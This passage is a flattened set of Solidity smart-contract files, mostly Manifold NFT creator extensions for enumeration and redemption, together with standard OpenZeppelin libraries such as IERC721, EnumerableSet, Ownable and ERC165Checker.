already derive from either ERC721SingleCreatorExtension or ERC1155SingleCreatorExtension). * * IMPORTANT: You must call _activate in order for enumeration to work */ abstract contract ERC721OwnerEnumerableSingleCreatorBase is SingleCreatorBase, ERC721CreatorExtensionApproveTransfer { mapping(address => uint256) private _ownerBalance; mapping(address => mapping(uint256 => uint256)) private _tokensByOwner; mapping(uint256 => uint256) private _tokensIndex; /** * @dev must call this to activate enumeration capability */ function _activate() internal { IERC721CreatorCore(_creator).setApproveTransferExtension(true); } /** * @dev Get the token for an owner by index */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual returns (uint256) { require(index < _ownerBalance[owner], "ERC721Enumerable: owner index out of bounds"); return _tokensByOwner[owner][index]; } /** * @dev Get the balance for the owner for this extension */ function balanceOf(address owner) public view virtual returns(uint256) { return _ownerBalance[owner]; } function approveTransfer(address from, address to, uint256 tokenId) external override returns (bool) { require(msg.sender == _creator, "Invalid caller"); if (from != address(0) && from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to != address(0) && to != from) { _addTokenToOwnerEnumeration(to, tokenId); } return true; } function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = _ownerBalance[to]; _tokensByOwner[to][length] = tokenId; _tokensIndex[tokenId] = length; _ownerBalance[to] += 1; } function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _ownerBalance[from] - 1; uint256 tokenIndex = _tokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _tokensByOwner[from][lastTokenIndex]; _tokensByOwner[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _tokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _tokensIndex[tokenId]; delete _tokensByOwner[from][lastTokenIndex]; _ownerBalance[from] -= 1; } } /** * Provide token enumeration functionality (Extension) * * IMPORTANT: You must call _activate in order for enumeration to work */ abstract contract ERC721OwnerEnumerableSingleCreatorExtension is ERC721OwnerEnumerableSingleCreatorBase, ERC721SingleCreatorExtension { constructor(address creator) ERC721SingleCreatorExtension(creator) {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * @dev Implement this if you want your extension to have overloadable URI's */ interface ICreatorExtensionTokenURI is IERC165 { /** * Get the uri for a given creator/tokenId */ function tokenURI(address creator, uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; import "@manifoldxyz/creator-core-solidity/contracts/core/IERC721CreatorCore.sol"; import "@manifoldxyz/creator-core-solidity/contracts/extensions/CreatorExtension.sol"; import "../../libraries/SingleCreatorExtension.sol"; import "../RedeemBase.sol"; import "./IERC721RedeemBase.sol"; /** * @dev Redeem NFT base logic */ abstract contract ERC721RedeemBase is ERC721SingleCreatorExtension, RedeemBase, CreatorExtension, IERC721RedeemBase { uint16 internal immutable _redemptionRate; uint16 private _redemptionMax; uint16 private _redemptionCount; uint256[] private _mintedTokens; mapping(uint256 => uint256) internal _mintNumbers; constructor(address creator, uint16 redemptionRate_, uint16 redemptionMax_) ERC721SingleCreatorExtension(creator) { require(ERC165Checker.supportsInterface(creator, type(IERC721CreatorCore).interfaceId) || ERC165Checker.supportsInterface(creator, LegacyInterfaces.IERC721CreatorCore_v1), "Redeem: Minting reward contract must implement IERC721CreatorCore"); _redemptionRate = redemptionRate_; _redemptionMax = redemptionMax_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(RedeemBase, CreatorExtension, IERC165) returns (bool) { return interfaceId == type(IERC721RedeemBase).interfaceId || RedeemBase.supportsInterface(interfaceId) || CreatorExtension.supportsInterface(interfaceId); } /** * @dev See {IERC721RedeemBase-redemptionMax} */ function redemptionMax() external view virtual override returns(uint16) { return _redemptionMax; } /** * @dev See {IERC721RedeemBase-redemptionRate} */ function redemptionRate() external view virtual override returns(uint16) { return _redemptionRate; } /** * @dev See {IERC721RedeemBase-redemptionRemaining} */ function redemptionRemaining() public view virtual override returns(uint16) { return _redemptionMax-_redemptionCount; } /** * @dev See {IERC721RedeemBase-mintNumber}. */ function mintNumber(uint256 tokenId) external view virtual override returns(uint256) { return _mintNumbers[tokenId]; } /** * @dev See {IERC721RedeemBase-mintedTokens}. */ function mintedTokens() external view override returns(uint256[] memory) { return _mintedTokens; } /** * @dev mint token that was redeemed for */ function _mintRedemption(address to) internal virtual returns (uint256) { require(_redemptionCount < _redemptionMax, "Redeem: No redemptions remaining"); _redemptionCount++; // Mint token uint256 tokenId = _mint(to, _redemptionCount); _mintedTokens.push(tokenId); _mintNumbers[tokenId] = _redemptionCount; return tokenId; } /** * @dev override if you want to perform different mint functionality */ function _mint(address to, uint16) internal returns (uint256) { return IERC721CreatorCore(_creator).mintExtension(to); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * @dev Interface for admin control */ interface IAdminControl is IERC165 { event AdminApproved(address indexed account, address indexed sender); event AdminRevoked(address indexed account, address indexed sender); /** * @dev gets address of all admins */ function getAdmins() external view returns (address[] memory); /** * @dev add an admin. Can only be called by contract owner. */ function approveAdmin(address admin) external; /** * @dev remove an admin. Can only be called by contract owner. */ function revokeAdmin(address admin) external; /** * @dev checks whether or not given address is an admin * Returns True if they are */ function isAdmin(address admin) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * @dev Core creator interface */ interface ICreatorCore is IERC165 { event ExtensionRegistered(address indexed extension, address indexed sender); event ExtensionUnregistered(address indexed extension, address indexed sender); event ExtensionBlacklisted(address indexed extension, address indexed sender); event MintPermissionsUpdated(address indexed extension, address indexed permissions, address indexed sender); event RoyaltiesUpdated(uint256 indexed tokenId, address payable[] receivers, uint256[] basisPoints); event DefaultRoyaltiesUpdated(address payable[] receivers, uint256[] basisPoints); event ExtensionRoyaltiesUpdated(address indexed extension, address payable[] receivers, uint256[] basisPoints); event ExtensionApproveTransferUpdated(address indexed extension, bool enabled); /** * @dev gets address of all extensions */ function getExtensions() external view returns (address[] memory); /** * @dev add an extension. Can only be called by contract owner or admin. * extension address must point to a contract implementing ICreatorExtension. * Returns True if newly added, False if already added. */ function registerExtension(address extension, string calldata baseURI) external; /** * @dev add an extension. Can only be called by contract owner or admin. * extension address must point to a contract implementing ICreatorExtension. * Returns True if newly added, False if already added. */ function registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) external; /** * @dev add an extension. Can only be called by contract owner or admin. * Returns True if removed, False if already removed. */ function unregisterExtension(address extension) external; /** * @dev blacklist an extension. Can only be called by contract owner or admin. * This function will destroy all ability to reference the metadata of any tokens created * by the specified extension. It will also unregister the extension if needed. * Returns True if removed, False if already removed. */ function blacklistExtension(address extension) external; /** * @dev set the baseTokenURI of an extension. Can only be called by extension. */ function setBaseTokenURIExtension(string calldata uri) external; /** * @dev set the baseTokenURI of an extension. Can only be called by extension. * For tokens with no uri configured, tokenURI will return "uri+tokenId" */ function setBaseTokenURIExtension(string calldata uri, bool identical) external; /** * @dev set the common prefix of an extension. Can only be called by extension. * If configured, and a token has a uri set, tokenURI will return "prefixURI+tokenURI" * Useful if you want to use ipfs/arweave */ function setTokenURIPrefixExtension(string calldata prefix) external; /** * @dev set the tokenURI of a token extension. Can only be called by extension that minted token. */ function setTokenURIExtension(uint256 tokenId, string calldata uri) external; /** * @dev set the tokenURI of a token extension for multiple tokens. Can only be called by extension that minted token. */ function setTokenURIExtension(uint256[] memory tokenId, string[] calldata uri) external; /** * @dev set the baseTokenURI for tokens with no extension. Can only be called by owner/admin. * For tokens with no uri configured, tokenURI will return "uri+tokenId" */ function setBaseTokenURI(string calldata uri) external; /** * @dev set the common prefix for tokens with no extension. Can only be called by owner/admin. * If configured, and a token has a uri set, tokenURI will return "prefixURI+tokenURI" * Useful if you want to use ipfs/arweave */ function setTokenURIPrefix(string calldata prefix) external; /** * @dev set the tokenURI of a token with no extension. Can only be called by owner/admin. */ function setTokenURI(uint256 tokenId, string calldata uri) external; /** * @dev set the tokenURI of multiple tokens with no extension. Can only be called by owner/admin. */ function setTokenURI(uint256[] memory tokenIds, string[] calldata uris) external; /** * @dev set a permissions contract for an extension. Used to control minting. */ function setMintPermissions(address extension, address permissions) external; /** * @dev Configure so transfers of tokens created by the caller (must be extension) gets approval * from the extension before transferring */ function setApproveTransferExtension(bool enabled) external; /** * @dev get the extension of a given token */ function tokenExtension(uint256 tokenId) external view returns (address); /** * @dev Set default royalties */ function setRoyalties(address payable[] calldata receivers, uint256[] calldata basisPoints) external; /** * @dev Set royalties of a token */ function setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) external; /** * @dev Set royalties of an extension */ function setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) external; /** * @dev Get royalites of a token. Returns list of receivers and basisPoints */ function getRoyalties(uint256 tokenId) external view returns (address payable[] memory, uint256[] memory); // Royalty support for various other standards function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory); function getFeeBps(uint256 tokenId) external view returns (uint[] memory); function getFees(uint256 tokenId) external view returns (address payable[] memory, uint256[] memory); function royaltyInfo(uint256 tokenId, uint256 value) external view returns (address, uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Library used to query support of an interface declared via {IERC165}. * * Note that these functions return the actual result of the query: they do not * `revert` if an interface is not supported. It is up to the caller to decide * what to do in these cases. */ library ERC165Checker { // As per the EIP-165 spec, no interface should ever match 0xffffffff bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; /** * @dev Returns true if `account` supports the {IERC165} interface, */ function supportsERC165(address account) internal view returns (bool) { // Any contract that implements ERC165 must explicitly indicate support of // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid return _supportsERC165Interface(account, type(IERC165).interfaceId) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } /** * @dev Returns true if `account` supports the interface defined by * `interfaceId`. Support for {IERC165} itself is queried automatically. * * See {IERC165-supportsInterface}. */ function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { // query support of both ERC165 as per the spec and support of _interfaceId return supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } /** * @dev Returns a boolean array where each value corresponds to the * interfaces passed in and whether they're supported or not. This allows * you to batch check interfaces for a contract where your expectation * is that some interfaces may not be supported. * * See {IERC165-supportsInterface}. * * _Available since v3.4._ */ function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool[] memory) { // an array of booleans corresponding to interfaceIds and whether they're supported or not bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length); // query support of ERC165 itself if (supportsERC165(account)) { // query support of each interface in interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]); } } return interfaceIdsSupported; } /** * @dev Returns true if `account` supports all the interfaces defined in * `interfaceIds`. Support for {IERC165} itself is queried automatically. * * Batch-querying can lead to gas savings by skipping repeated checks for * {IERC165} support. * * See {IERC165-supportsInterface}. */ function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) { // query support of ERC165 itself if (!supportsERC165(account)) { return false; } // query support of each interface in _interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } // all interfaces supported return true; } /** * @notice Query if a contract implements an interface, does not check ERC165 support * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return true if the contract at account indicates support of the interface with * identifier interfaceId, false otherwise * @dev Assumes that account contains a contract that supports ERC165, otherwise * the behavior of this method is undefined. This precondition can be checked * with {supportsERC165}. * Interface identification is specified in ERC-165. */ function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { bytes memory encodedParams = abi.encodeWithSelector(IERC165(account).supportsInterface.selector, interfaceId); (bool success, bytes memory result) = account.staticcall{ gas: 30000 }(encodedParams); if (result.length < 32) return false; return success && abi.decode(result, (bool)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "../CreatorExtension.sol"; /** * @dev Base ERC721 creator extension variables */ abstract contract ERC721CreatorExtension is CreatorExtension { /** * @dev Legacy extension interface identifiers (see CreatorExtension for more) * * {IERC165-supportsInterface} needs to return 'true' for this interface * in order backwards compatible with older creator contracts */ // Required to be recognized as a contract to receive onBurn for older creator contracts bytes4 constant internal LEGACY_ERC721_EXTENSION_BURNABLE_INTERFACE = 0xf3f4e68b; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * Implement this if you want your extension to approve a transfer */ interface IERC721CreatorExtensionApproveTransfer is IERC165 { /** * @dev Set whether or not the creator will check the extension for approval of token transfer */ function setApproveTransfer(address creator, bool enabled) external; /** * @dev Called by creator contract to approve a transfer */ function approveTransfer(address from, address to, uint256 tokenId) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; /** * @dev Base creator extension variables */ abstract contract CreatorExtension is ERC165 { /** * @dev Legacy extension interface identifiers * * {IERC165-supportsInterface} needs to return 'true' for this interface * in order backwards compatible with older creator contracts */ bytes4 constant internal LEGACY_EXTENSION_INTERFACE = 0x7005caad; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165) returns (bool) { return interfaceId == LEGACY_EXTENSION_INTERFACE || super.supportsInterface(interfaceId); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; import "@manifoldxyz/creator-core-solidity/contracts/core/IERC721CreatorCore.sol"; import "@manifoldxyz/creator-core-solidity/contracts/core/IERC1155CreatorCore.sol"; import "./LegacyInterfaces.sol"; abstract contract SingleCreatorBase { address internal _creator; } /** * @dev Extension that only uses a single creator contract instance */ abstract contract ERC721SingleCreatorExtension is SingleCreatorBase { constructor(address creator) { require(ERC165Checker.supportsInterface(creator, type(IERC721CreatorCore).interfaceId) || ERC165Checker.supportsInterface(creator, LegacyInterfaces.IERC721CreatorCore_v1), "Redeem: Minting reward contract must implement IERC721CreatorCore"); _creator = creator; } } /** * @dev Extension that only uses a single creator contract instance */ abstract contract ERC1155SingleCreatorExtension is SingleCreatorBase { constructor(address creator) { require(ERC165Checker.supportsInterface(creator, type(IERC1155CreatorCore).interfaceId) || ERC165Checker.supportsInterface(creator, type(IERC1155CreatorCore).interfaceId ^ type(ICreatorCore).interfaceId), "Redeem: Minting reward contract must implement IERC1155CreatorCore"); _creator = creator; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "./CreatorCore.sol"; /** * @dev Core ERC1155 creator interface */ interface IERC1155CreatorCore is ICreatorCore { /** * @dev mint a token with no extension. Can only be called by an admin. * * @param to - Can be a single element array (all tokens go to same address) or multi-element array (single token to many recipients) * @param amounts - Can be a single element array (all recipients get the same amount) or a multi-element array * @param uris - If no elements, all tokens use the default uri. * If any element is an empty string, the corresponding token uses the default uri. * * * Requirements: If to is a multi-element array, then uris must be empty or single element array * If to is a multi-element array, then amounts must be a single element array or a multi-element array of the same size * If to is a single element array, uris must be empty or the same length as amounts * * Examples: * mintBaseNew(['0x....1', '0x....2'], [1], []) * Mints a single new token, and gives 1 each to '0x....1' and '0x....2'. Token uses default uri. * * mintBaseNew(['0x....1', '0x....2'], [1, 2], []) * Mints a single new token, and gives 1 to '0x....1' and 2 to '0x....2'. Token uses default uri. * * mintBaseNew(['0x....1'], [1, 2], ["", "http://token2.com"]) * Mints two new tokens to '0x....1'. 1 of the first token, 2 of the second. 1st token uses default uri, second uses "http://token2.com". * * @return Returns list of tokenIds minted */ function mintBaseNew(address[] calldata to, uint256[] calldata amounts, string[] calldata uris) external returns (uint256[] memory); /** * @dev batch mint existing token with no extension. Can only be called by an admin. * * @param to - Can be a single element array (all tokens go to same address) or multi-element array (single token to many recipients) * @param tokenIds - Can be a single element array (all recipients get the same token) or a multi-element array * @param amounts - Can be a single element array (all recipients get the same amount) or a multi-element array * * Requirements: If any of the parameters are multi-element arrays, they need to 